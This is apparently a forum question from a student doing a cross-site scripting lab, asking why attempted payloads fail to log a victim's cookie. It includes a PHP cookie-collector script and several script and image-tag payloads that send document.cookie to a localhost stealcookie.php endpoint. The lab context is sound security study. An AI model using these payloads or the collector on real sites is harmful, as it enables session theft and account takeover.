I am practicing some XSS on a vulnerable apache2 web application and having some issues getting the user's cookie information.

I am following the instructions in this Lab for the XSS Attack.

We are given a malicious webpage:

<h2>This page has malicious links</h2>
First look at this one. This link's text and the actual link behind it are different. You can notice that by hovering the mouse on the link and noting the actual referral location on the status bar.
<a href="#">EMC's RSA Security Breach May Cost Bank Customers $100 Million</a>

and in the same directory as the webpage we have a php file:

$f = fopen("log.txt","a");
$referrer = "\n".$_SERVER['HTTP_REFERER']."\n";
$cookie = "info=".$_GET['info']."\n";
fwrite($f, $referrer);
fwrite($f, $cookie);

The goal is to edit the "#" in the href so that whenever it is clicked it send the credentials to the server IP address I input (in this case I am using localhost). I am supposed to use an http GET request with the following format http://localhost/stealcookie.php?info=COOKIES where COOKIES is the complete cookie content saved on the browser (i.e. document.cookie). The hint was to replace the current href value "#" with a piece of JavaScript code. So far I have tried the following:

<a href="<script>document.location='http://localhost/XSS/stealcookie.php?cookie='.concat(escape(document.cookie));</script>">EMC's RSA Security Breach May Cost Bank Customers $100 Million</a>
<a href="http://localhost/XSS/stealcookie.php?query=<script>document.location='http://localhost/XSS/stealcookie.php?cookie='.concat(escape(document.cookie));</script>">EMC's RSA Security Breach May Cost Bank Customers $100 Million</a>
<a href="http://localhost/XSS/stealcookie.php?info=<script>document.location='http://localhost/XSS/stealcookie.php?cookie='.concat(escape(document.cookie));</script>">EMC's RSA Security Breach May Cost Bank Customers $100 Million</a>
<script>document.write('<img src="http://localhost/stealcookie.php?cookie=' + document.cookie + '"/>')</script>

I am trying to figure out what I am doing wrong since the cookie is not saving to the log.txt file on my local machine.

  • Is it possible that the .txt file is not writable or not there ?
    – mrSotirow
    Apr 23, 2021 at 13:14
  • The folder has the proper permissions when I initially set it up. It resides in the XSS directory and I gave it sudo chown -R $USER:$USER /var/www/html/XSS/ sudo chmod -R 755 /var/www/html/XSS/
    – Jav_Py
    Apr 23, 2021 at 13:44


Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.